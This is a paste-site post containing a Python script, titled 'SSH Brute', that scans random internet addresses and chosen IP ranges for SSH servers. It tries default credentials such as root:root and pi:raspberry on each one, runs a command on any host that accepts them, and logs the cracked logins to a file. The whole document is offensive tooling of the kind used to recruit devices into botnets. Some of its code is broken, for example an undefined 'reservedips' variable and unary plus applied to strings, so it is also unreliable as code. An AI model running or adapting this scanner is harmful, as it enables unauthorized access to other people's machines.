SSH Brute


SUBMITTED BY: uuuuuu

DATE: Oct. 24, 2016, 9:42 p.m.

FORMAT: Text only

SIZE: 5.1 kB

HITS: 477

  1. #!/usr/bin/env python
  2. # python root.py 500 LUCKY x 0
  3. # python root.py 500 B 101.108 1
  4. # python root.py 500 A 125 1
  5. import threading, paramiko, random, socket, time, sys
  6. paramiko.util.log_to_file("/dev/null") # silents spam of paramiko
  7. blacklist = [
  8. '127'
  9. ]
  10. passwords = [
  11. "root:root",
  12. "root:admin",
  13. "admin:admin",
  14. "ubnt:ubnt",
  15. "root:1234",
  16. "admin:1234",
  17. "guest:guest",
  18. "user:user",
  19. "test:test",
  20. "pi:raspberry",
  21. "vagrant:vagrant",
  22. ]
  23. #pastebin.com/S4JutZkd
  24. if sys.argv[4] == '1':
  25. passwords = [ "root:root", "ubnt:ubnt", "admin:admin", "root:password" ] #Slow but effective
  26. if sys.argv[4] == '2':
  27. passwords = [ "root:root" ] #Fast but yet less effective
  28. if sys.argv[4] == '3':
  29. passwords = [ "root:synopass" ] #thefuckis a synopass
  30. if sys.argv[4] == 'perl':
  31. passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ]
  32. if sys.argv[4] == 'all':
  33. passwords = [ "pi:raspberry", "vagrant:vagrant", "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] # scans all passwords but very slow
  34. ipclassinfo = sys.argv[2]
  35. if ipclassinfo == "A":
  36. ip1 = sys.argv[3]
  37. elif ipclassinfo == "B":
  38. ip1 = sys.argv[3].split(".")[0]
  39. ip2 = sys.argv[3].split(".")[1]
  40. elif ipclassinfo == "C":
  41. ips = sys.argv[3].split(".")
  42. num=0
  43. for ip in ips:
  44. num=num+1
  45. if num == 1:
  46. ip1 = ip
  47. elif num == 2:
  48. ip2 = ip
  49. elif num == 3:
  50. ip3 = ip
  51. class sshscanner(threading.Thread):
  52. global passwords
  53. global ipclassinfo
  54. if ipclassinfo == "A":
  55. global ip1
  56. elif ipclassinfo == "B":
  57. global ip1
  58. global ip2
  59. elif ipclassinfo == "C":
  60. global ip1
  61. global ip2
  62. global ip3
  63. def run(self):
  64. while 1:
  65. try:
  66. while 1:
  67. thisipisbad='no'
  68. if ipclassinfo == "A":
  69. self.host = +ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  70. elif ipclassinfo == "B":
  71. self.host = +ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  72. elif ipclassinfo == "C":
  73. self.host = +ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  74. elif ipclassinfo == "LUCKY":
  75. lucky = ["201.13","197.23","187.89","37.236","191.53","161.18","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97"]
  76. self.host = +random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  77. else:
  78. self.host = +str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  79. for badip in reservedips:
  80. if badip in self.host:
  81. thisipisbad='yes'
  82. if thisipisbad=='no':
  83. break
  84. username='root'
  85. password=""
  86. port = 22
  87. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  88. s.settimeout(3)
  89. s.connect((self.host, port))
  90. s.close()
  91. ssh = paramiko.SSHClient()
  92. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  93. dobreak=False
  94. for passwd in passwords:
  95. if ":n/a" in passwd:
  96. password=""
  97. else:
  98. password=passwd.split(":")[1]
  99. if "n/a:" in passwd:
  100. username=""
  101. else:
  102. username=passwd.split(":")[0]
  103. try:
  104. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  105. dobreak=True
  106. break
  107. except:
  108. pass
  109. if True == dobreak:
  110. break
  111. badserver=True
  112. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  113. output = stdout.read()
  114. if "inet addr" in output:
  115. badserver=False
  116. if badserver == False:
  117. print 'Executing on -> '+self.host+':'+username+':'+password+''
  118. ssh.exec_command(" whatevuh ")
  119. f = open('vuln.txt', 'a')
  120. f.write("%s:%s:%s\n" % (username, password, self.host))
  121. f.close()
  122. time.sleep(20)
  123. ssh.close()
  124. except:
  125. pass
  126. for x in range(0,int(sys.argv[1])):
  127. try:
  128. t = sshscanner()
  129. t.start()
  130. except:
  131. pass

comments powered by Disqus